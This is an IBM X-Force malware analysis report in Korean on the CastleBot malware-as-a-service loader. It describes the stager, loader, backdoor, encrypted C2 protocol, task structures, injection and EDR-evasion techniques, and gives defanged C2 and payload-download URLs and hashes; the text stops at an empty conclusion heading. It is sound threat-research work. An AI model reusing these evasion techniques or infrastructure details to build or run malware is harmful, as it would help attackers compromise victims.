CastleBot 서비스형 멀웨어 운영 분석

책상 위에 있는 3개의 디지털 모니터에 빨간색의 심각한 오류 메시지가 표시됨

작성자

Golo Mühr

Malware Reverse Engineer

IBM

IBM X-Force는 CastleBot이라는 새로운 멀웨어 프레임워크를 조사하고 있습니다. 이 멀웨어는 서비스형 멀웨어(MaaS) 운영의 일부로 추정되며 유연한 멀웨어 배포를 위해 특별히 설계되었습니다. CastleBot은 현재 사이버 범죄자들이 인포 스틸러부터 랜섬웨어 공격과 관련된 NetSupport 및 Warm 쿠키와 같은 백도어에 이르기까지 모든 것을 전달하는 데 사용됩니다.

CastleBot이 특히 우려되는 이유는 배포 방식입니다. 대부분 가짜 웹사이트에서 다운로드한 트로이 목마 소프트웨어 설치 프로그램을 통해 의심하지 않는 사용자가 스스로 감염을 일으키도록 유도합니다. 이 기술은 X-Force가 관찰하고 있는 성장하는 추세 중 하나입니다. 이는 종종 악성 페이지가 합법적인 소프트웨어 배포자보다 검색 엔진에서 더 높은 순위를 차지하도록 하는 SEO 포이즈닝을 통해 활성화됩니다. CastleBot에 들어가면 스테이저/다운로더, 로더, 코어 백도어의 3단계 프로세스를 실행하여 명령 및 제어(C2) 서버에 일련의 작업을 요청합니다. 감염된 시스템에서 수집한 정보를 통해 운영자는 피해자를 쉽게 필터링하고, 진행 중인 감염을 관리하고, 고부가가치 표적에 멀웨어를 정밀하게 배포할 수 있습니다.

CastleBot은 여전히 진화하고 있으며, 연구 결과에 따르면 이제 막 시작되었을 가능성이 높습니다. 이 보고서에서는 어떻게 작동하는지, 어떻게 확산되는지, 왜 중요한지 자세히 설명합니다.

주요 결과:

  • CastleBot은 서비스형 멀웨어로 운영되는 것으로 추정되는 새로운 멀웨어로, 다양한 악성 페이로드를 전달하는 데 사용될 수 있습니다.
  • 후속 페이로드는 인포 스틸러부터 랜섬웨어 공격과 관련된 백도어(예: NetSupport 및 Warm 쿠키)에 이르기까지 다양합니다.
  • X-Force는 트로이 목마 소프트웨어 설치 프로그램을 CastleBot을 배포하는 가장 일반적인 감염 경로로 관찰했습니다.
  • CastleBot 프레임워크는 스테이저, 로더 및 코어의 세 가지 구성 요소를 포함하며 활발히 개발 중인 것으로 보입니다.
  • 이 멀웨어를 통해 운영자는 피해자를 쉽게 필터링하고, 페이로드를 업데이트하고, 라이프사이클 전반에 걸쳐 여러 캠페인을 관리할 수 있습니다.

개요

CastleBot은 2025년 초에 처음 등장했습니다. X-Force는 5월부터 샘플의 양이 증가하고 다양한 페이로드가 증가함에 따라 다양한 백도어 및 인포 스틸러 페이로드가 배포되는 것을 관찰했습니다. CastleBot의 가장 일반적인 감염 벡터는 트로이 목마 소프트웨어이며, 이는 X-Force가 2024년부터 계속 관찰하고 있는 추세의 일부입니다. 트로이 목마 소프트웨어 패키지 및 설치 프로그램은 피해자를 유치하기 위해 SEO 포이즈닝을 사용하는 가짜 웹사이트를 통해 배포되는 경우가 많습니다. 또한 CastleBot은 합법적인 소프트웨어로 가장하여 GitHub 리포지토리를 통해서 그리고 널리 사용되는 ClickFix 기법을 통해 배포되었습니다.

X-Force는 CastleBot 멀웨어 프레임워크의 일부인 스테이저, 로더 및 CastleBot 코어/백도어의 세 가지 구성 요소를 식별했습니다.

CastleBot 감염 체인을 보여주는 순서도
그림 1: CastleBot 감염 체인

Prodraft의 이전 공개 보고에 따르면 "CastleLoader"와 동일한 멀웨어 프레임워크가 사용된 것으로 나타났습니다.

CastleBot 스테이저

대부분의 경우 CastleBot 핵심 구성 요소는 동일한 CastleBot 멀웨어 제품군의 일부인 셸코드 스테이저를 통해 배포됩니다. 스테이저는 다른 1단계 로더에서 삽입할 수 있는 경량 셸코드 페이로드입니다. X-Force는 AutoIt 기반 크립터인 Dave와 C로 컴파일된 간단한 크립터를 포함하여 CastleBot과 함께 사용되는 다양한 크립터를 관찰했습니다.

이 멀웨어는 DJB2 해싱 알고리즘을 사용하여 런타임에 필요한 API를 확인합니다. 모든 API 호출 전에 해당 DLL을 로드하고 사전 생성된 DJB2 해시를 통해 API 함수를 검색하는 내보내기 주소 테이블(EAT)을 탐색합니다. 내보내기가 다른 DLL로 전달되면 스테이저는 DLL 이름을 구문 분석하고 로드한 다음 GetProcAddress를 통해 함수를 확인합니다.

실행 시 스테이저는 사용자 에이전트 'Googlebot'과 함께 HTTP를 통해 두 개의 페이로드를 다운로드합니다. URL 경로는 샘플 간에 유사하며 CastleBot 핵심 구성 요소와 동일한 C2 서버에 주소를 지정합니다.

다운로드 URL 예시:

http://173.44.141[.]89/service/download/data_3x.bin

http://173.44.141[.]89/service/download/data_4x.bin

디컴파일된 CastleBot 스테이저의 스크린샷
그림 2: 디컴파일된 CastleBot 스테이저의 스크린샷

두 페이로드 모두 하드코딩된 XOR 문자열, 이 경우 "GySDoSGySDoS"(UTF-16 인코딩)를 통해 암호가 해독되어 PE(CastleBot 코어)와 셸코드 스텁(CastleBot 로더)이 표시됩니다.

그런 다음 스테이저는 VirtualProtect를 사용하여 해독된 두 번째 셸코드 페이로드를 저장하는 메모리 영역에 대해 힙에서 실행을 활성화합니다. 후자는 로더 역할을 하며 메모리에서 직접 실행되고 복호화된 PE에 대한 포인터를 인수로 받습니다.

CastleBot 로더

CastleBot 로더는 모든 기능을 갖춘 PE 로더로, 제공된 PE의 각 섹션을 NtAllocateVirtualMemory를 사용하여 할당된 새 메모리 영역에 매핑하는 것으로 시작됩니다. 계속해서 필요한 재배치를 수정하고, 가져오기를 해결하고, 적절한 메모리 보호 옵션을 설정하고, 기존 TLS 콜백 함수를 실행합니다.

특히 로더는 새로운 LDR_DATA_TABLE_ENTRY 구조와 해당 LDR_DDAG_NODE(Windows 8 이상에서 확장)도 설정한 다음 각 프로세스에 대해 로드된 모듈을 포함하는 PEB_LDR_DATA 이중 연결 목록에 추가됩니다. PEB를 모니터링하는 EDR 에이전트에게는 주입된 페이로드가 운영 체제에서 합법적으로 로드한 것처럼 보이게 됩니다.

LDR_DATA_TABLE_ENTRY 및 LDR_DDAG_NODE 구조를 설정하고 PEB_LDR_DATA 모듈 목록에 삽입하는 CastleBot 로더
그림 3: LDR_DATA_TABLE_ENTRY 및 LDR_DDAG_NODE 구조를 설정하고 PEB_LDR_DATA 모듈 목록에 삽입하는 CastleBot 로더

주입된 파일이 DLL이 아닌 경우 PEB의 ImageBaseAddress 필드도 주입된 페이로드의 기본 주소로 설정됩니다.

마지막으로, 페이로드를 실행하기 위해 CastleBot 로더는 진입점을 실행하거나 콘솔 애플리케이션을 위한 새 콘솔을 할당합니다.

CastleBot 로더 주요 기능을 나타내는 코드
그림 4: CastleBot 로더 주요 기능

위에서 분석한 샘플에서 주입된 페이로드는 x86 CastleBot 백도어(202f6b6631ade2c41e4762e5877ce0063a3beabce0c3f8564b6499a1164c1e04)입니다.

CastleBot 코어

CastleBot 코어는 Arash Partow에서 개발한 AP 해시인 해싱 알고리즘을 제외하고 스테이저 및 로더 구성 요소와 동일한 API 확인 메커니즘을 사용합니다.

먼저 백도어는 구성을 해독하는 것으로 시작됩니다. 구성의 해당 부분을 포함하여 바이너리 전체의 거의 모든 문자열은 UTF-16으로 저장되고 각 문자열에 대한 고유한 4바이트 XOR 키를 통해 인라인으로 암호 해독됩니다. 암호 해독 중에 다음 구성 구조가 생성됩니다.

struct CONFIG
{
  wchar_t *p_campaign_id;   //
81a16c72f9c9f4ea94d68b609c78f72d4a8725e7b8f6949b12d8871b6c6843e3
  int size_utf16_campaign_id;
  int size_utf8_campaign_id;
  wchar_t *p_URL;           // http://173.44.141[.]89/service
  int size_utf16_URL;
  int size_utf8_URL;
  wchar_t *p_useragent;     // fTniXgvddlgotdAXke2CRZy
  int size_utf16_useragent;
  int size_utf8_useragent;
  wchar_t *p_mutex_name;    // 10KCnWHtIoABhkL2Cl3u
  int size_utf16_mutex_name;
  int size_utf8_mutex_name;
  DATA_BUFFER_STRUCT *p_chacha_key;     //
0x84fda801005fdd07340a1ca6d8a351adc6cfe9e39ffe7498a0955209ad2f7978
  int zero_34;
  DATA_BUFFER_STRUCT *p_chacha_nonce;       // 0x0b5ac47bfeeaf4af61726a5c
  int zero_3C;
};

멀웨어는 구성의 이름을 사용하여 뮤텍스 생성을 시도하여 단일 인스턴스만 실행되도록 합니다. 다음 단계에서는 URL 경로의 캠페인 ID를 사용하여 하드코딩된 URL로 HTTP GET 요청을 전송하여 설정을 검색합니다.

GET
/service/settings/81a16c72f9c9f4ea94d68b609c78f72d4a8725e7b8f6949b12d8871b6c6843e3 HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
User-Agent: fTniXgvddlgotdAXke2CRZy
Host: 173.44.141[.]89

이에 대한 응답으로 CastleBot은 암호화된 데이터 블록을 받습니다.

C2 커뮤니케이션

모든 C2 통신은 멀웨어의 초기 GET 요청과 별도로 대칭 ChaCha 알고리즘을 통해 암호화됩니다. 암호 해독 후 C2 프로토콜은 내부적으로 컨테이너라고 하는 직렬화된 사용자 지정 데이터 구조를 사용하며, 이는 다양한 유형의 값을 저장할 수 있습니다.

직렬화된 컨테이너

직렬화된 데이터 구조의 루트에는 항상 ContainerFieldArray 유형의 필드가 있습니다. 아래 구조는 배열 및 bool 유형이 설정되는 방식을 더욱 자세히 정의합니다.

enum ContainerFieldType {
    CONTAINER_FIELD_TYPE_NONE,
    CONTAINER_FIELD_TYPE_BOOL,
    CONTAINER_FIELD_TYPE_UINT8,
    CONTAINER_FIELD_TYPE_INT8,
    CONTAINER_FIELD_TYPE_UINT16,
    CONTAINER_FIELD_TYPE_INT16,
    CONTAINER_FIELD_TYPE_UINT32,
    CONTAINER_FIELD_TYPE_INT32,
    CONTAINER_FIELD_TYPE_UINT64,
    CONTAINER_FIELD_TYPE_INT64,
    CONTAINER_FIELD_TYPE_STRINGA,
    CONTAINER_FIELD_TYPE_STRINGW,
    CONTAINER_FIELD_TYPE_BLOB,
    CONTAINER_FIELD_TYPE_ARRAY
}

struct FIELD_NAME {
    WORD fieldname_len;
    wchar fieldname[];
}

struct CONTAINER_FIELD_ARRAY {
    ContainerFieldType type;
    FIELD_NAME field_name;
    SIZE_T size;
    union {
        CONTAINER_FIELD_NONE none;
        CONTAINER_FIELD_BOOL bool;
        CONTAINER_FIELD_UINT8 uint8;
        CONTAINER_FIELD_INT8 int8;
        CONTAINER_FIELD_UINT16 uint16;
        CONTAINER_FIELD_INT16 int16;
        CONTAINER_FIELD_UINT32 uint32;
        CONTAINER_FIELD_INT32 int32;
        CONTAINER_FIELD_UINT64 uint64;
        CONTAINER_FIELD_INT64 int64;
        CONTAINER_FIELD_STRINGA stringa;
        CONTAINER_FIELD_STRINGW stringw;
        CONTAINER_FIELD_BLOB blob;
        CONTAINER_FIELD_ARRAY array;
    };
}

struct CONTAINER_FIELD_BOOL {
    ContainerFieldType type; // CONTAINER_FIELD_TYPE_BOOL=0x01
    FIELD_NAME field_name;
    BYTE bool;
}

백도어에서 요청한 설정을 정의하는 해독된 컨테이너를 구문 분석할 때 데이터는 0x0D 바이트로 시작하여 ContainerFieldArray 유형을 나타냅니다.해당 바이트 뒤에는 필드 이름이 오고, 그 자체는 2바이트 길이와 UTF-16으로 인코딩된 이름이 옵니다. 이름 뒤에는 배열 필드가 4바이트의 데이터 길이를 정의하고 그 다음에 데이터 자체가 오고, 이 필드는 유형을 정의하는 첫 번째 바이트부터 다시 시작합니다.

CastleBot 설정 컨테이너

위에서 분석한 샘플에서 수신한 설정은 다음과 같이 파싱됩니다.

직렬화된 데이터:

00000000  0d 08 00 72 00 6f 00 6f 00 74 00 89 00 00 00 0d  |...r.o.o.t......|
00000010  10 00 73 00 65 00 74 00 74 00 69 00 6e 00 67 00  |..s.e.t.t.i.n.g.|
00000020  73 00 72 00 00 00 01 18 00 72 00 75 00 6e 00 5f  |s.r......r.u.n._|
00000030  00 61 00 73 00 5f 00 61 00 64 00 6d 00 69 00 6e  |.a.s._.a.d.m.i.n|
00000040  00 00 01 0e 00 61 00 6e 00 74 00 69 00 5f 00 76  |.....a.n.t.i._.v|
00000050  00 6d 00 00 01 1e 00 70 00 72 00 65 00 76 00 65  |.m.....p.r.e.v.e|
00000060  00 6e 00 74 00 5f 00 72 00 65 00 73 00 74 00 61  |.n.t._.r.e.s.t.a|
00000070  00 72 00 74 00 00 01 1e 00 73 00 68 00 6f 00 77  |.r.t.....s.h.o.w|
00000080  00 5f 00 66 00 61 00 6b 00 65 00 5f 00 65 00 72  |._.f.a.k.e._.e.r|
00000090  00 72 00 6f 00 72 00 00                          |.r.o.r..|

역직렬화된 객체:

root: {
    settings: {
        run_as_admin: False,
        anti_vm: False,
        prevent_restart: False,
        show_fake_error: False,
    }
}

활성화된 각 설정에 대해 CastleBot은 다음 작업을 수행합니다.

run_as_admin: 멀웨어는 "cmd.exe /c " 명령을 통해 부모 프로세스를 실행하며, ShellExecuteW 함수에서 "runas" 동사를 사용해 이를 관리자 권한으로 실행합니다.

anti_vm: CastleBot은 0x40000000 리프가 포함된 cpuid 명령을 사용하여 하이퍼바이저 환경을 탐지하려고 시도합니다. VMware 또는 Parallels가 검색되면 멀웨어가 종료됩니다.

방지_재시작: CastleBot은 구성에 포함된 뮤텍스 이름과 일치하는 이름으로 %PROGRAMDATA%에 새 숨김 파일을 생성합니다. 파일이 이미 존재하는 경우 멀웨어가 종료됩니다.

show_fake_ERROR: 멀웨어는 "시스템 오류"라는 메시지 상자와 함께 "컴퓨터에 VCRUNTIME140.dll이 없기 때문에 프로그램을 시작할 수 없습니다. 이 문제를 해결하려면 프로그램을 다시 설치해 보세요."라는 메시지를 표시합니다.

호스트 열거

다음 단계에서 CastleBot은 감염된 호스트에 대한 정보를 수집하여 C2 서버에 등록하고 작업을 요청합니다.

  • GetUserNameW를 통한 사용자 이름
  • GetComputerNameW를 통한 NetBIOS 이름
  • IsWow64Process를 통한 시스템 아키텍처
  • 로컬 DNS 도메인 이름, LsaQueryInformationPolicy를 사용하여 PolicyDnsDomainInformation 구조를 검색합니다. 기본값은 "WORKGROUP"입니다.
  • GetVolumeInformationW를 통해 검색된 볼륨 일련 번호입니다.CastleBot은 이를 사용하여 승수가 0x41C64E6D이고 덧셈이 0x3039인 선형 합동 생성기(LCG)를 사용하여 고유한 피해자 ID를 계산합니다.
  • RtlGetVersionGetSystemMetrics(89)를 통한 Windows 버전

정보는 아래 객체로 컴파일되고, 직렬화와 ChaCha 암호화가 이어집니다.

root: {
    information: {
        access_key: "fTniXgvddlgotdAXke2CRZy",
        campaign_identifier:
"81a16c72f9c9f4ea94d68b609c78f72d4a8725e7b8f6949b12d8871b6c6843e3",
        machine_id: <calculated_victim_id>,
        build_version: "1.0",
        username: <username>,
        computer_name: <NetBIOS name>,
        domain_name: <local DNS domain name>,
        windows_version: <Windows version>,
        arch: <system architecture>,
    }
}

하드코딩된 값은 액세스 키(구성의 사용자 에이전트와 동일), 캠페인 식별자 및 분석된 샘플의 CastleBot 빌드 버전("1.0")입니다.

백도어는 HTTP POST 요청으로 암호화된 데이터를 다음 주소로 전송합니다.

http://173.44.141[.]89/service/tasks

 응답은 CastleBot의 사전 구성된 작업이 포함된 더 큰 암호화된 컨테이너입니다.

CastleBot 작업 컨테이너

분석된 CastleBot 샘플이 C2 서버로부터 받은 컨테이너는 암호가 해독되고 다음 필드가 있는 개체로 역직렬화됩니다.

root: {
    access_key: "fTniXgvddlgotdAXke2CRZy",
    tasks: {
        {
            id: 16,
            url: "http://173.44.141[.]89/service/download/docusign2.exe",
            install_path: "%TEMP%\docusign-auth2.exe",
            launch_method: 1,
            argument: "",
            run_as_admin: False,
            startup_method: 1,
            is_encrypted_container: False,
            container_encryption_key: "",
            auto_unpack_zip: False,
            zip_executable_files: {},
        }
    }

}

"task" 필드는 위에서 설명한 대로 맞춤형 배열 유형으로, 최소 하나의 이름 없는 배열(길이 0)을 포함하며, 각각 작업을 나타냅니다. CastleBot은 순차적으로 수행할 여러 작업이 포함된 배열을 수신할 수도 있습니다. 각 작업에는 ID와 작업 실행 방법을 자세히 설명하는 여러 필드가 포함되어 있으며, 역직렬화 중에 작업 구조에 복사됩니다.

작업 실행

각 작업에서 가장 중요한 필드는 CastleBot이 처리할 페이로드의 유형을 결정하는 "launch_method"입니다.

실행 방법

페이로드

실행

1

URL에서 다운로드한 EXE

CreateProcessW 또는 ShellExecuteW를 통해

2

URL에서 다운로드한 DLL

VIA ShellExecuteW 및 rundll.exe를 통해

3

URL에서 다운로드한 DLL

LoadLibraryW를 통해

4

URL에서 다운로드한 PE

새로운 프로세스에 주입

5

"argument" 필드의 PowerShell 명령

ShellExecuteW를 통해

6

"argument" 필드의 BAT 명령

ShellExecuteW를 통해

다른 필드는 작업 실행을 위한 특정 옵션을 설정하는 데 사용할 수 있습니다.

필드 이름

설명

ID

C2 서버에 성공적인 실행을 보고하는 데 사용되는 고유 작업 ID

URL

페이로드를 가져오는 URL입니다. 페이로드는 종종 C2 서버(http://<castlebot_c2>/service/download/<payload_name>)에서 호스팅됩니다.

install_path

프로세스 주입의 대상 경로로, 환경 변수를 포함할 수도 있으며,단순히 ":SELF:"로 지정하여 페이로드를 부모 프로세스의 복제본에 주입할 수도 있습니다.

인수

install_path의 프로세스에 대한 인수 또는 PowerShell/BAT 실행을 위한 명령

run_as_admin

설정된 경우 ShellExecuteW를 통한 실행은 "runas" 동사로 사용합니다.

startup_method

"1"로 설정하면 로그온할 때마다 트리거되는 예약된 작업을 통해 페이로드에 대한 지속성이 생성됩니다. 

is_encrypted_container

설정하면 URL에서 다운로드한 페이로드가 RC4로 암호 해독되고 다른 컨테이너로 구문 분석되어 작업의 페이로드를 검색합니다.

container_encryption_key  

암호화된 컨테이너와 함께 사용되는 RC4 키입니다.

auto_unpack_zip

설정하면 페이로드가 ZIP 파일로 처리되어 수동으로 추출됩니다.

zip_executable_files

시작 방법에 따라 실행될 ZIP 아카이브의 대상 파일 목록입니다.

wow64_bypass

최근에 추가된 옵션으로, 32비트 시스템 바이너리를 대신 실행할지 여부를 지정할 수 있습니다.

  

프로세스 주입

CastleBot은 PE 페이로드에 대한 간단한 프로세스 주입을 지원합니다. 설치 경로와 인수 필드를 기반으로 일시 중단된 프로세스를 새로 생성하는 것으로 시작됩니다. Windows 11 24H2 이상에서 작동하기 위해 멀웨어 개발자는 새로 추가된 메모리 검사를 우회하기 위해 NTDLL의 NtManageHotPatch 기능을 메모리에 연결하기로 결정했습니다. 자세한 내용은 Hasherezade의 게시물을 참고하세요. CastleBot이 사용한 정확한 POC 구현도 함께 제공됩니다.

CastleBot의 NtManageHotPatch 후킹을 나타내는 코드
그림 5: NtManageHotPatch를 후킹하는 CastleBot

나머지 프로세스 주입은 대상 프로세스에 메모리를 할당하고, 섹션을 버퍼에 쓰고, 실행을 재개하기 전에 스레드 컨텍스트를 수정하는 등 일반적인 주입 기술을 따릅니다.

CastleBot 프로세스 주입을 나타내는 코드
그림 6: CastleBot 프로세스 주입

지속성

시작 방법 필드가 "1"로 설정되면 CastleBot은 예약된 작업을 생성하여 지속성을 설정합니다. 작업을 등록하기 위해 멀웨어는 ITaskService COM 인터페이스를 사용하여 작업 스케줄러 서비스에 연결합니다. 대상 페이로드에 대한 새 작업과 실행 작업을 생성하며, 이는 현재 사용자가 로그온할 때마다 트리거됩니다(TASK_TRIGGER_LOGON).

작업 완료

"작업" 컨테이너의 각 작업은 지정된 필드에 따라 반복적으로 처리됩니다. 작업이 오류 없이 완료되면 멀웨어는 HTTP GET 요청을 통해 성공적인 실행을 다음과 같이 보고합니다.

http://<c2_server>/service/tasks/complete/id/<task_id>

2025년 7월 업데이트

X-Force는 새로운 실행 방법과 SysWOW64 폴더에서 32비트 시스템 바이너리를 실행하는 데 사용되는 "wow64_bypass"라는 옵션을 지원하는 업데이트된 CastleBot 코어 변형을 관찰했습니다.

실행 방법

페이로드

실행

1

URL에서 다운로드한 EXE

CreateProcessW 또는 ShellExecuteW를 통해

2

URL에서 다운로드한 DLL

VIA ShellExecuteW 및 rundll.exe를 통해

3

URL에서 다운로드한 DLL

ShellExecuteW 및 regsrv32.exe를 통해

4

URL에서 다운로드한 DLL

LoadLibraryW를 통해

5

URL에서 다운로드한 PE

기존 메커니즘을 통해 새 프로세스에 주입

6

URL에서 다운로드한 PE

PE 로더를 통해 새 프로세스에 주입

7

"argument" 필드의 PowerShell 명령

ShellExecuteW를 통해

8

"argument" 필드의 BAT 명령

ShellExecuteW를 통해

9

URL에서 MSI 다운로드

ShellExecuteW 및 msiexec.exe를 통해

추가 프로세스 주입 구현(실행 방법 6)은 CastleBot 로더 구성 요소(위의 분석 섹션 참조)와 PE 페이로드를 모두 대상 프로세스에 기록합니다. 그런 다음 QueueUserAPCResumeThread를 사용하여 실행을 로더로 전송하면 로더가 PE 페이로드를 메모리에 적절하게 로드하고 실행합니다.

QueueUserAPC를 통한 프로세스 삽입을 나타내는 코드
그림 7: QueueUserAPC를 통한 프로세스 주입

이 기술은 훨씬 적은 수의 WriteProcessMemory API 호출을 사용하며 CastleBot 로더 스터브에서 보다 완벽한 로딩 기능을 제공합니다.

캠페인 및 페이로드

CastleBot의 주요 목표는 피해자 시스템에 보조 페이로드를 배포할 수 있도록 하는 것입니다. X-Force는 CastleBot이 배포한 여러 가지 페이로드를 발견했는데, 단일 캠페인에 여러 페이로드가 포함된 경우가 많았습니다. 페이로드는 상품 인포스틸러부터 NetSupport나 WarmCookie 같은 더 강력한 백도어까지 다양하며, 이들은 랜섬웨어 공격과 연관된 것으로 알려져 있습니다.

Prodaft의 분석 및 C2 패널 스크린샷에 따르면, CastleBot MaaS 프레임워크를 사용하면 운영자가 감염된 시스템을 필터링하고 페이로드를 쉽게 업데이트하여 여러 활성 캠페인을 매우 유연하게 관리할 수 있는 것으로 보입니다. 페이로드의 유동성과 단일 캠페인에 여러 작업과 페이로드를 추가할 수 있는 운영자의 능력으로 인해 CastleBot 감염 체인은 기존의 정적 멀웨어 단계에 비해 더 복잡합니다.

X-Force는 다크 웹에서 MaaS가 널리 광고되었다는 어떠한 증거도 가지고 있지 않습니다. 이는 해당 서비스가 현재 민간 계열사 그룹에만 판매되고 있음을 나타낼 수 있습니다.

NetSupport

멀웨어를 자체 프레임워크로 식별하지 않은 채, 2025년 6월과 7월에 다른 연구자들은 NetSupport로 이어지는 다양한 캠페인 단편을 공개적으로 보고했습니다.

DomainTools는 ClickFix 기술을 사용하여 악성 PowerShell 스크립트를 실행하는 가짜 DocuSign 페이지를 관찰했으며, 이 페이지는 다시 CastleBot을 다운로드하여 NetSupport를 배포합니다. 캠페인 IoC:

a2898897d3ada2990e523b61f3efaacf6f67af1a52e0996d3f9651b41a1c59c9: PowerShell
script downloading and extracting a ZIP archive before executing “jp2launcher.exe”
d6eea6cf20a744f3394fb0c1a30431f1ef79d6992b552622ad17d86490b7aa7b:
“msvcp14.dll” crypted  CastleBot stager DLL-sideloaded by “jp2launcher.exe”.
http://mhousecreative[.]com/service/ -  CastleBot C2 server for stager and core components.
“5702b2a25802ff1b520c0d1e388026f8074e836d4e69c10f9481283f886fd9f4” - CastleBot campaign ID
http://mhousecreative[.]com/service/download/general_1 - NetSupport download
URL hosted on  CastleBot C2 server
2a2cd6377ad69a298af55f29359d67e4586ec16e6c02c1b8ad27c38471145569: NetSupport payload

PaloAlto의 Unit42는 DocuSign과 Okta를 모방한 웹사이트에서 ClickFix를 사용하여 초기 스테이저 및 로더 구성 요소를 통해 CastleBot을 배포하는 등 유사한 활동을 보고했습니다. 여기에는 X-Force가 CastleBot 프레임워크로 식별하는 "NetSupport RAT Loader"에 대한 일부 분석이 포함되어 있습니다. 캠페인 IoC:

8b2ebeff16a20cfcf794e8f314c37795261619d96d602c8ee13bc6255e951a43: PowerShell
script downloading and extracting a ZIP archive before executing “jp2launcher.exe”
cbaf513e7fd4322b14adcc34b34d793d79076ad310925981548e8d3cff886527:
“msvcp14.dll” crypted  CastleBot stager DLL-sideloaded by “jp2launcher.exe”. 
http://80.77.23[.]48/service/ -  CastleBot C2 server for stager and core components.
“5702b2a25802ff1b520c0d1e388026f8074e836d4e69c10f9481283f886fd9f4” -  CastleBot campaign ID

WarmCookie

CastleBot의 가장 흥미로운 페이로드 중 하나는 Warm 쿠키 백도어(일명 Quickbind, BadSpace)입니다. 이는 랜섬웨어 공격을 가능하게 하는 더 큰 사이버 범죄 에코시스템의 일부일 가능성이 높으며, 2024년 Operation Endgame 기간 동안 국제 법 집행 기관의 표적이 된 멀웨어 중 하나였습니다. X-Force의 가시성에 따르면 2025년에는 위협 행위자 Hive0137이 악성 이메일 캠페인을 통해 WarmCookie를 배포했지만, 2025년에는 별다른 활동이 관찰되지 않았습니다. WarmCookie는 공개적으로 TA866/Asylum 앰부스케이드 운영과 연결되어 있습니다.

X-Force가 관찰한 이 캠페인은 6월에 합법적인 소프트웨어 SSMS-20.2-enu.zip(4766f5cc6501fc40c7151a0ce1c9d2cc49fca9b0b9cab2a206dd2426947e9afe)의 설치 프로그램을 모방한 무기화된 ZIP 아카이브에서 시작되었습니다. 합법적인 구성 요소 중에는, 리소스 내에 저장된 페이로드를 해독하는 Dave Loader의 변형으로 확인된 악성 실행 파일 SSMS_Windows.x64.exe(05ecf871c7382b0c74e5bac267bb5d12446f52368bb1bfe5d2a4200d0f43c1d8)가 포함되어 있습니다. 복호화 후, Dave Loader는 CastleBot 백도어(202f6b6631ade2c41e4762e5877ce0063a3beabce0c3f8564b6499a1164c1e04)를 주입하고, 다음에서 WarmCookie 페이로드(5bca7f1942e07e8c12ecd9c802ecdb96570dfaaa1f44a6753ebb9ffda0604cb4) 다운로드 및 실행 작업을 수신합니다.

http://173.44.141[.]89/service/download/docusign2.exe

WarmCookie C2 서버의 위치는 다음과 같습니다.

170.130.165[.]112

6월 말에 발견된 두 번째 샘플은 유사한 실행 파일을 사용했으며, Zscaler 소프트웨어의 설치 프로그램을 모방한 Zscaler-windows-4.4.0.379-installer-x64.exe(bf21161c808ae74bf08e8d7f83334ba926ffa0bab96ccac42dde418270387890)를 모방했습니다. AutoIt으로 컴파일된 바이너리는 간단한 셸코드 로더로, 내장된 CastleBot 스테이저를 실행하여 동일한 CastleBot 백도어 바이너리(202f6b6631ade2c41e4762e5877ce0063a3beabce0c3f8564b6499a1164c1e04)를 다운로드합니다.

샌드박스 실행 결과, 동일한 계열사가 캠페인 기간 동안 "http://107.158.128[.]105/c91252f9ab114f26.php"에서 C2 서버를 통해 StealC 페이로드를 드롭했을 가능성이 있지만 X-Force에서 샘플을 검색할 수 없었습니다. 

두 캠페인 모두 CastleBot 캠페인 ID "81a16c72f9c9f4ea94d68b609c78f72d4a8725e7b8f6949b12d8871b6c6843e3"을 사용합니다.

인포스틸러

또한 X-Force는 다양한 인포스틸러를 제공하는 여러 CastleBot 캠페인을 추적하고 있습니다. 이 멀웨어는 모든 캠페인에 대해 여러 다운로드 작업을 지원하므로 동일한 클라이언트에 여러 페이로드가 배포될 수 있습니다. 실행 파일 AMD_Chipset_DriverOnly_DCH_AMD_Z_V1.2.0.105_20238.exe(e6aab1b6a150ee3cbc721ac2575c57309f307f69cd1b478d494c25cde0baaf85)는 리소스에서 내장된 CastleBot 코어 페이로드(b45cce4ede6ffb7b6f28f75a0cbb60e65592840d98dcb63155b9fa0324a88be2)를 로드하고 이를 실행합니다. C2 서버의 설정 엔드포인트는 다음 위치에 있습니다.

http://62.60.226[.]73/service/settings/32e7ebb66296d22b4cf28dbe6d8dfd314590175d5fc2168609886985d6c807c1

단일 C2 메시지로 총 3개의 개별 작업을 전송하는 것으로 나타났으며, 각 작업은 서로 다른 페이로드를 배포했습니다.

  • 작업 ID: 0x16
    • 다운로드 URL: https[:]//google.herionhelpline[.]com/app/AcerUSBUpdate.exe
    • 페이로드: 03122e46a3e48141553e7567c659642b1938b2d3641432f916375c163df819c1(Rhadamanthys)
    • 설치 경로: 없음
    • 실행 방법: 6
  • 작업 ID: 0x17 
    • 다운로드 URL: https[:]//google.herionhelpline[.]com/app/light1_v5_signed.html
    • 페이로드 12de997634859d1f93273e552dec855bfae440dcf11159ada19ca0ae13d53dff(Remcos)
    • 설치 경로: %ProgramData%\AmazonApp\AmazonWebServiceUpdate.exe
    • 실행 방법: 1
  • 작업 ID: 0x18
    • https[:]//google.herionhelpline[.]com/app/SlackUpdateWeb.html
    • 페이로드: c8f95f436c1f618a8ef5c490555c6a1380d018f44e1644837f19cb71f6584a8a(DeerStealer)
    • 설치 경로: %AppData%\SlackUpdate\SlackServiceUpdate.exe
    • 실행 방법: 1

X-Force는 SecTopRAT(일명 ArechClient), HijackLoader(일명 Shadowladder), MonsterV2(일명 Aurotun Stealer) 캠페인을 추가로 발견했습니다. 

SecTopRAT 및 HijackLoader:

  • GlobalProtect-win-6.3.zip 및 실행 가능한 사이드로딩 msvcp140.dll(8bf93cef46fda2bdb9d2a426fbcd35ffedea9ed9bd97bf78cc51282bd1fb2095)
  • CastleBot C2 서버: http[:]//107.158.128[.]45/service/settings/81a16c72f9c9f4ea94d68b609c78f72d4a8725e7b8f6949b12d8871b6c6843e3
  • 페이로드 호스팅 위치: http[:]//107.158.128[.]45/service/download/Exchanger32.zip(4834bc71fc5d3729ad5280e44a13e9627e3a82fd4db1bb992fa8ae52602825c6)

MonsterV2:

  • libssl-1_1.dll (53dddae886017fbfbb43ef236996b9a4d9fb670833dfa0c3eac982815dc8d2a5) DLL 사이드로드, 반사적으로 CastleBot 스테이저 주입
  • CastleBot C2 서버: http[:]//107.158.128[.]45/service/settings/8306a6b35d4be6de72be58860791e3644468fd67f675e4045a246dd27fa5692c
  • 페이로드 호스팅 위치: http[:]//107.158.128[.]45/service/download/CCver_Setup.exe(ab725f5ab19eec691b66c37c715abd0e9ab44556708094a911b84987d700aa62)

결론

